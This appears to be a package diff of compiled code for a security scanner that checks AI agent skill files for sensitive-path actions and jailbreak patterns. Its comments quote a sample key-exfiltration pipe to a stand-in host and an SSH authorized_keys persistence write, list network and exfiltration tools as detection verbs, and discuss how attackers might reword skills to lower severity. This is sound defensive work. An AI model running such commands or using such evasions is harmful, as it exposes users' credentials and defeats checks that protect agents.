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"}

package/dist/src/security/scanner/SecurityScanner.action-context.d.ts

@@ -0,0 +1,15 @@
+/**
+ * Security Scanner — MF-3 path action-context gate (SMI-5207)
+ * @module @skillsmith/core/security/scanner/SecurityScanner.action-context
+ *
+ * The `sensitive_path` MF-3 gate: given a line that matched one of the nine
+ * PATH_FORM_PATTERNS, decide whether a real ACTION is being taken on that path
+ * (→ HIGH) or the path is merely MENTIONED (→ MEDIUM). MEDIUM is the default;
+ * escalation requires an action verb or shell operator within +/-1 line.
+ *
+ * Split out of SecurityScanner.scanners.ts for the 500-line pre-commit gate,
+ * symmetric with SecurityScanner.value-gate.ts (the MF-4 half). Cohesive unit —
+ * every symbol here serves the single question "is this path being acted on?".
+ */
+export declare function hasPathActionContext(lines: string[], index: number): boolean;
+//# sourceMappingURL=SecurityScanner.action-context.d.ts.map

package/dist/src/security/scanner/SecurityScanner.action-context.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"SecurityScanner.action-context.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.action-context.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAwMH,wBAAgB,oBAAoB,CAAC,KAAK,EAAE,MAAM,EAAE,EAAE,KAAK,EAAE,MAAM,GAAG,OAAO,CAO5E"}

package/dist/src/security/scanner/SecurityScanner.action-context.js

@@ -0,0 +1,209 @@
+/**
+ * Security Scanner — MF-3 path action-context gate (SMI-5207)
+ * @module @skillsmith/core/security/scanner/SecurityScanner.action-context
+ *
+ * The `sensitive_path` MF-3 gate: given a line that matched one of the nine
+ * PATH_FORM_PATTERNS, decide whether a real ACTION is being taken on that path
+ * (→ HIGH) or the path is merely MENTIONED (→ MEDIUM). MEDIUM is the default;
+ * escalation requires an action verb or shell operator within +/-1 line.
+ *
+ * Split out of SecurityScanner.scanners.ts for the 500-line pre-commit gate,
+ * symmetric with SecurityScanner.value-gate.ts (the MF-4 half). Cohesive unit —
+ * every symbol here serves the single question "is this path being acted on?".
+ */
+import { NEGATION_TOKENS, NOUN_DETERMINERS, DETECTION_FRAMING, RELATIVE_MARKERS, } from './SecurityScanner.prose-lexicon.js';
+import { MAX_LINE_LENGTH_FOR_REGEX } from './regex-utils.js';
+/**
+ * MF-3 (SMI-5207): action verbs for a path-form match, matched as whole
+ * tokens (not substring) so negation lookaround works cleanly.
+ *
+ * DROPPED vs. the first design pass (round 2): read/reads, open, load, print,
+ * write, echo — fire on ordinary third-person documentation ("explains how
+ * Linux reads /etc/passwd", "how to read ~/.ssh/config safely") as readily as
+ * on real instructions.
+ *
+ * ALSO dropped: `source` (round 2) — "open source" is common in skill
+ * descriptions and would reopen the exact FP class this wave closes; MF-2's
+ * `.env` gate keeps `source` unchanged, where it must not move. less/more/
+ * head/tail dropped too — high prose frequency, weak command signal; their
+ * loss is bounded because sensitive_path alone cannot quarantine any surface
+ * (its score contribution caps at 4.00/100 — see Context).
+ *
+ * DROPPED in round 9 — `leaks?`, `dumps?`, `extracts?`. The earlier narrowing
+ * asked "is this word a soft verb?" but missed the mirror case: a word whose
+ * ordinary form in DEFENSIVE security prose names the threat category or the
+ * artifact rather than an attacker action. `leaks` is the live proof — the
+ * confirmed FP `lucas-lima-s/claude-skill-repo-audit` describes itself as
+ * "…secret/PII scans, git-history identity leaks…", where "identity leaks" is
+ * a plural NOUN, but ACTION_VERB_EXACT matched it as a verb and escalated the
+ * adjacent `secret/PII` match to HIGH. `dumps` ("credential dumps", "memory
+ * dumps", "database dumps") and `extracts` ("data extracts", and the
+ * defensive-verb reading "extracts secrets for review") are the same shape and
+ * go with it. RETAINED from that group: `steals?` and `exfiltrates?` — neither
+ * has a noun reading in this genre (defensive prose says "credential theft"
+ * and "exfiltration", never "steals"/"exfiltrates"), so both stay
+ * attacker-framing only.
+ *
+ * Movement verbs are pluralized (uploads?/sends?/...) so third-person
+ * instruction prose ("Reads ~/.ssh/id_rsa and uploads it") still scores HIGH
+ * via the movement half after the soft-verb half was dropped.
+ *
+ * Round 10 did NOT prune this list further. `uploads`/`downloads`/`posts` do
+ * have noun readings, but pruning them would delete the movement half this
+ * gate depends on, and the noun reading is better handled structurally than
+ * lexically: hasActionEvidence's determiner check now disqualifies "The
+ * uploads dashboard" / "The Downloads folder" while leaving "and uploads it"
+ * firing — a discrimination no vocabulary edit can make. See that function
+ * for round 10's two disqualifiers and residual R-10.
+ */
+const ACTION_VERBS = 'cat|cp|mv|scp|rsync|curl|wget|fetch|tee|tar|zip|gzip|base64|xxd|dd|nc|netcat|' +
+    'chmod|ssh-add|openssl|uploads?|downloads?|sends?|posts?|exfiltrates?|steals?';
+const ACTION_VERB_EXACT = new RegExp(`^(?:${ACTION_VERBS})$`, 'i');
+/**
+ * MF-3 (SMI-5207, closing design — round 6): any pipe or redirect is action
+ * evidence, position-independent, and is NEVER negation-suppressed.
+ *
+ * Rounds 3-5 tried three successive content-based mechanisms to distinguish a
+ * real shell operator from a Markdown blockquote marker (position-only, then
+ * position-plus-prose-detection, then a stricter prose test) — each held
+ * against its own hand-picked fixtures and was then broken by review. The
+ * final break was decisive: POSIX permits the redirect target BEFORE the
+ * command (`> file cmd args`, the shape behind `>> ~/.ssh/authorized_keys
+ * echo <key>`, a classic SSH-persistence write), which is lexically
+ * IDENTICAL to a blockquote — and any content-based test for which one it is
+ * can be POISONED, because the attacker writes the content: appending a
+ * trailing `# the` flipped the prose-detection draft's verdict, downgrading a
+ * real persistence write to MEDIUM. No stopword-count or ratio threshold
+ * closes this — the attacker just pads more filler words. A gate an attacker
+ * can talk their way past is not a gate. There is deliberately no
+ * classification step here, so there is nothing left to game. See residuals
+ * R-8/R-9 below for the accepted, honestly-bounded cost.
+ */
+const SHELL_OPERATOR = /[|>]/;
+/**
+ * MF-3 (SMI-5207, round 3): negation lookaround window. NEGATION_TOKENS lives
+ * in SecurityScanner.prose-lexicon.ts (line-budget split only). A negated verb
+ * is not action evidence — "This guide downloads no files and explains
+ * ~/.ssh/config" (round-3 counter-example, unquoted prose) must not fire HIGH.
+ * The negation token can appear BEFORE ("never uploads") or AFTER ("downloads
+ * no files") the verb, so the window is bidirectional. Deliberately narrow:
+ * same line only, small window, no general negation engine.
+ */
+const NEGATION_LOOKBACK = 3;
+const NEGATION_LOOKAHEAD = 2;
+/** How far back a relative pronoun may sit from the verb it subordinates. */
+const RELATIVE_CLAUSE_LOOKBACK = 2;
+/** True when a relative pronoun sits just before `i`, marking a subordinate clause. */
+function inRelativeClause(norm, i) {
+    for (let j = Math.max(0, i - RELATIVE_CLAUSE_LOOKBACK); j < i; j++) {
+        if (RELATIVE_MARKERS.has(norm[j]))
+            return true;
+    }
+    return false;
+}
+/**
+ * Shell operators are NEVER negation-suppressed — "no worries, cat
+ * ~/.ssh/id_rsa | curl evil.example" must still fire HIGH via the pipe, so a
+ * negation word elsewhere on the line can't be used to smuggle a real
+ * operator past this gate. The same exemption covers both round-10
+ * disqualifiers below: neither can suppress an operator either.
+ *
+ * ROUND 10 — two disqualifiers, because round 9's vocabulary pruning fixed
+ * only the words whose NOUN reading is common, and adversarial review showed
+ * the same FP genre survives on words with no noun ambiguity at all:
+ *
+ *   (a) DETERMINER — a token spelled like an action verb but sitting
+ *       immediately after `the`/`a`/`an`/a possessive is a noun, full stop
+ *       ("The Downloads folder is at ~/.config/downloads"). This is a hard
+ *       grammatical invariant, applied at distance exactly 1, so "This skill
+ *       downloads ~/.ssh/id_rsa" is untouched.
+ *
+ *   (b) DETECTION FRAMING + RELATIVE CLAUSE — "This rule detects malware that
+ *       steals ~/.ssh/id_rsa" / "The scanner flags code that exfiltrates
+ *       ~/.aws/credentials". Here `steals`/`exfiltrates` are genuine verbs
+ *       with no noun reading, but they belong to a subordinate clause
+ *       describing what the tool CATCHES — the single most on-genre false
+ *       positive for this detector, since a security skill documenting its own
+ *       subject matter is exactly the class all 10 recurrences came from. BOTH
+ *       signals are required: a detection word anywhere on the line AND a
+ *       relative pronoun within 2 tokens before the verb.
+ *
+ * Why (b) is not the gameable content-classifier round 6 rejected: there, a
+ * leading `>` was simultaneously a blockquote marker and a real redirect, so
+ * an attacker paid NOTHING to adopt the exempt form. Here the exempt form is
+ * third-person description, which is not an instruction — an attacker who
+ * rewrites "steal ~/.ssh/id_rsa and upload it" as "detects malware that steals
+ * ~/.ssh/id_rsa" has bought MEDIUM by discarding the imperative force that
+ * made the payload work on the agent. The evasion defeats itself, and shell
+ * operators stay unconditional regardless.
+ *
+ * RESIDUAL R-10 (accepted, round 10 — the last word on this vocabulary): a
+ * plural action-verb token used as a NOUN with no determiner and no detection
+ * framing still reads as action evidence — "Blog posts about ~/.ssh/config
+ * troubleshooting are indexed here." Separating that from "posts it to the
+ * collector" needs part-of-speech tagging: the disambiguator is a preceding
+ * noun-modifier ("Blog"), which is an open word class no fixed lexicon can
+ * enumerate, so there is no bounded lexical signal left to add. Declining a
+ * further patch deliberately, rather than shipping a fourth partial rule.
+ *
+ * Bounded three ways. (1) Score cap: `sensitive_path` contributes at most
+ * 4.00/100 on both indexer substrates and cannot quarantine alone there; it
+ * bites only on the weekly-scan categorical veto, the one surface that HAS an
+ * allowlist. (2) Corpus evidence: none of the 13 live entries in
+ * data/skills-security-allowlist.json is this shape — the observed genre is
+ * bare noun-phrase feature lists ("secret/PII scans", "git-history identity
+ * leaks", "credential-exfiltration shapes"), which round 9's vocabulary drop
+ * already closed, and none of the 10 historical recurrences used a
+ * determiner-less action-verb noun either. (3) Direction: it over-flags, and
+ * an over-flag on the one allowlisted surface is recoverable exactly as all 10
+ * prior recurrences were, whereas the alternative — a speculative POS
+ * heuristic — risks under-flagging on four surfaces that cannot be allowlisted
+ * at all.
+ */
+function hasActionEvidence(rawLine) {
+    // Governance review L-2: cap at the same length the sibling value-gate
+    // applies (SecurityScanner.value-gate.ts) and the same cap safeRegexTest
+    // already applied to the match that got the caller here — without this,
+    // an action verb past character 10,000 on a line could escalate a path
+    // the pattern scan itself never saw past that point.
+    const line = rawLine.slice(0, MAX_LINE_LENGTH_FOR_REGEX);
+    if (SHELL_OPERATOR.test(line))
+        return true;
+    const words = line.split(/\s+/);
+    const norm = words.map((w) => w.toLowerCase().replace(/[^a-z']/g, ''));
+    const describesDetection = norm.some((w) => DETECTION_FRAMING.has(w));
+    for (let i = 0; i < words.length; i++) {
+        if (!ACTION_VERB_EXACT.test(words[i].replace(/[^A-Za-z-]/g, '')))
+            continue;
+        if (i > 0 && NOUN_DETERMINERS.has(norm[i - 1]))
+            continue; // (a) noun reading
+        if (describesDetection && inRelativeClause(norm, i))
+            continue; // (b) description
+        let negated = false;
+        for (let j = Math.max(0, i - NEGATION_LOOKBACK); j <= Math.min(norm.length - 1, i + NEGATION_LOOKAHEAD); j++) {
+            if (j !== i && NEGATION_TOKENS.has(norm[j])) {
+                negated = true;
+                break;
+            }
+        }
+        if (!negated)
+            return true; // any un-negated verb is sufficient
+    }
+    return false;
+}
+// +/-1 line (3-line window). Same-line-only was rejected: MF-3 makes severity
+// verb-dependent for NINE patterns at once, so a same-line gate would hand an
+// attacker a single-newline evasion across the whole family. +/-1 defeats the
+// trivial split while staying far tighter than the sibling co-signal locality
+// constant (40 lines, SMI-5880).
+const MAX_PATH_ACTION_LINE_DISTANCE = 1;
+export function hasPathActionContext(lines, index) {
+    const lo = Math.max(0, index - MAX_PATH_ACTION_LINE_DISTANCE);
+    const hi = Math.min(lines.length - 1, index + MAX_PATH_ACTION_LINE_DISTANCE);
+    for (let i = lo; i <= hi; i++) {
+        if (hasActionEvidence(lines[i]))
+            return true;
+    }
+    return false;
+}
+//# sourceMappingURL=SecurityScanner.action-context.js.map

package/dist/src/security/scanner/SecurityScanner.action-context.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"SecurityScanner.action-context.js","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.action-context.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAEH,OAAO,EACL,eAAe,EACf,gBAAgB,EAChB,iBAAiB,EACjB,gBAAgB,GACjB,MAAM,oCAAoC,CAAA;AAC3C,OAAO,EAAE,yBAAyB,EAAE,MAAM,kBAAkB,CAAA;AAE5D;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA0CG;AACH,MAAM,YAAY,GAChB,+EAA+E;IAC/E,8EAA8E,CAAA;AAChF,MAAM,iBAAiB,GAAG,IAAI,MAAM,CAAC,OAAO,YAAY,IAAI,EAAE,GAAG,CAAC,CAAA;AAElE;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,cAAc,GAAG,MAAM,CAAA;AAE7B;;;;;;;;GAQG;AACH,MAAM,iBAAiB,GAAG,CAAC,CAAA;AAC3B,MAAM,kBAAkB,GAAG,CAAC,CAAA;AAE5B,6EAA6E;AAC7E,MAAM,wBAAwB,GAAG,CAAC,CAAA;AAElC,uFAAuF;AACvF,SAAS,gBAAgB,CAAC,IAAc,EAAE,CAAS;IACjD,KAAK,IAAI,CAAC,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,GAAG,wBAAwB,CAAC,EAAE,CAAC,GAAG,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC;QACnE,IAAI,gBAAgB,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;YAAE,OAAO,IAAI,CAAA;IAChD,CAAC;IACD,OAAO,KAAK,CAAA;AACd,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA0DG;AACH,SAAS,iBAAiB,CAAC,OAAe;IACxC,uEAAuE;IACvE,yEAAyE;IACzE,wEAAwE;IACxE,uEAAuE;IACvE,qDAAqD;IACrD,MAAM,IAAI,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE,yBAAyB,CAAC,CAAA;IACxD,IAAI,cAAc,CAAC,IAAI,CAAC,IAAI,CAAC;QAAE,OAAO,IAAI,CAAA;IAC1C,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,KAAK,CAAC,CAAA;IAC/B,MAAM,IAAI,GAAG,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC,CAAA;IACtE,MAAM,kBAAkB,GAAG,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,iBAAiB,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAA;IACrE,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QACtC,IAAI,CAAC,iBAAiB,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,aAAa,EAAE,EAAE,CAAC,CAAC;YAAE,SAAQ;QAC1E,IAAI,CAAC,GAAG,CAAC,IAAI,gBAAgB,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;YAAE,SAAQ,CAAC,mBAAmB;QAC5E,IAAI,kBAAkB,IAAI,gBAAgB,CAAC,IAAI,EAAE,CAAC,CAAC;YAAE,SAAQ,CAAC,kBAAkB;QAChF,IAAI,OAAO,GAAG,KAAK,CAAA;QACnB,KACE,IAAI,CAAC,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,GAAG,iBAAiB,CAAC,EAC1C,CAAC,IAAI,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC,GAAG,kBAAkB,CAAC,EACtD,CAAC,EAAE,EACH,CAAC;YACD,IAAI,CAAC,KAAK,CAAC,IAAI,eAAe,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;gBAC5C,OAAO,GAAG,IAAI,CAAA;gBACd,MAAK;YACP,CAAC;QACH,CAAC;QACD,IAAI,CAAC,OAAO;YAAE,OAAO,IAAI,CAAA,CAAC,oCAAoC;IAChE,CAAC;IACD,OAAO,KAAK,CAAA;AACd,CAAC;AAED,8EAA8E;AAC9E,8EAA8E;AAC9E,8EAA8E;AAC9E,8EAA8E;AAC9E,iCAAiC;AACjC,MAAM,6BAA6B,GAAG,CAAC,CAAA;AAEvC,MAAM,UAAU,oBAAoB,CAAC,KAAe,EAAE,KAAa;IACjE,MAAM,EAAE,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,KAAK,GAAG,6BAA6B,CAAC,CAAA;IAC7D,MAAM,EAAE,GAAG,IAAI,CAAC,GAAG,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,KAAK,GAAG,6BAA6B,CAAC,CAAA;IAC5E,KAAK,IAAI,CAAC,GAAG,EAAE,EAAE,CAAC,IAAI,EAAE,EAAE,CAAC,EAAE,EAAE,CAAC;QAC9B,IAAI,iBAAiB,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC;YAAE,OAAO,IAAI,CAAA;IAC9C,CAAC;IACD,OAAO,KAAK,CAAA;AACd,CAAC"}

package/dist/src/security/scanner/SecurityScanner.d.ts

@@ -13,6 +13,14 @@ import { toMinimalRefs, toSARIF, toGitHubAnnotations, toSummary } from './Securi
 export { LineContext, analyzeMarkdownContext, isDocumentationContext, isWithinInlineCode, calculateRiskScore, extractUrls, };
 export { scanSsrfPatterns };
 export { toMinimalRefs, toSARIF, toGitHubAnnotations, toSummary };
+/**
+ * SMI-5879 (design §5): quickCheck is a fast pre-filter, not the full scan —
+ * a bare mention-tier match (a documentation page discussing "jailbreak" or
+ * "DAN") should not by itself fail the quick path. Derived ONCE at module
+ * load, not hand-maintained, so it can never silently drift from
+ * JAILBREAK_PATTERNS' own evidence-tier classification.
+ */
+export declare const DIRECTIVE_JAILBREAK_PATTERNS: readonly RegExp[];
 export declare class SecurityScanner {
     private allowedDomains;
     private blockedPatterns;
@@ -41,6 +49,18 @@ export declare class SecurityScanner {
      * text contains. This disables ONLY the encoded-payload detector on the
      * inner call, not the rest of the suite — a decoded `curl|bash` still
      * trips `code_execution`, decoded secrets still trip `sensitive_path`, etc.
+     *
+     * SMI-5879: `EncodedPayloadRescanner`'s contract is a bare
+     * `SecurityFinding[]` return (SecurityScanner.encoding.ts, out of scope for
+     * this change), so a recursive `runDetectors` call for decoded content has
+     * no return channel of its own to report multiline truncation.
+     * `truncationRef` is a shared mutable out-param instead: every call (outer
+     * and any recursive rescan) ORs its own jailbreak/AI-defence truncation
+     * into it, so truncation anywhere in the recursion is visible to the
+     * original (outermost) caller. Per `ScanReport.multilineTruncated`'s own
+     * doc: being truncated is only ever used to RAISE caution, never to lower
+     * it, so over-reporting here (e.g. attributing an inner rescan's
+     * truncation to the whole document) is safe by that same design.
      */
     private runDetectors;
     /**
@@ -63,6 +83,11 @@ export declare class SecurityScanner {
      * `collectExecutableCodeFiles` candidates are the first real caller.
      */
     scan(skillId: string, content: string, isHighTrustAuthor?: boolean, isMarkdown?: boolean): ScanReport;
+    /**
+     * SMI-5879 (design §5): tests only the directive-tier derived subset (a
+     * bare mention like "jailbreak" or "DAN" alone should not fail the quick
+     * path — see DIRECTIVE_JAILBREAK_PATTERNS above).
+     */
     quickCheck(content: string): boolean;
     addAllowedDomain(domain: string): void;
     addBlockedPattern(pattern: RegExp): void;

package/dist/src/security/scanner/SecurityScanner.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"SecurityScanner.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,KAAK,EAAmB,UAAU,EAAE,cAAc,EAAqB,MAAM,YAAY,CAAA;AAUhG,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,8BAA8B,CAAA;AAC/D,OAAO,EACL,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAEnB,MAAM,8BAA8B,CAAA;AAErC,OAAO,EAAE,WAAW,EAAE,MAAM,2BAA2B,CAAA;AAEvD,OAAO,EAAE,kBAAkB,EAAE,MAAM,iCAAiC,CAAA;AAGpE,OAAO,EAAE,gBAAgB,EAAE,MAAM,2BAA2B,CAAA;AAsC5D,OAAO,EACL,aAAa,EACb,OAAO,EACP,mBAAmB,EACnB,SAAS,EACV,MAAM,iCAAiC,CAAA;AAGxC,OAAO,EACL,WAAW,EACX,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAClB,kBAAkB,EAClB,WAAW,GACZ,CAAA;AACD,OAAO,EAAE,gBAAgB,EAAE,CAAA;AAC3B,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,mBAAmB,EAAE,SAAS,EAAE,CAAA;AAEjE,qBAAa,eAAe;IAC1B,OAAO,CAAC,cAAc,CAAa;IACnC,OAAO,CAAC,eAAe,CAAU;IACjC,OAAO,CAAC,gBAAgB,CAAQ;IAChC,OAAO,CAAC,aAAa,CAAQ;gBAEjB,OAAO,GAAE,cAAmB;IAOxC,OAAO,CAAC,eAAe;IAYvB,OAAO,CAAC,QAAQ;IAmBhB,OAAO,CAAC,qBAAqB;IAkB7B,OAAO,CAAC,sBAAsB;IA6D9B,OAAO,CAAC,4BAA4B;IAkBpC,0EAA0E;IAC1E,kBAAkB,4BAAqB;IAEvC;;;;;;;;;;;;;;;OAeG;IACH,OAAO,CAAC,YAAY;IAwGpB;;;;;;;;;;;;;;;;;;OAkBG;IACH,IAAI,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,iBAAiB,UAAQ,EAAE,UAAU,UAAO,GAAG,UAAU;IA+ChG,UAAU,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO;IAOpC,gBAAgB,CAAC,MAAM,EAAE,MAAM,GAAG,IAAI;IAItC,iBAAiB,CAAC,OAAO,EAAE,MAAM,GAAG,IAAI;IAKxC,MAAM,CAAC,aAAa,uBAAg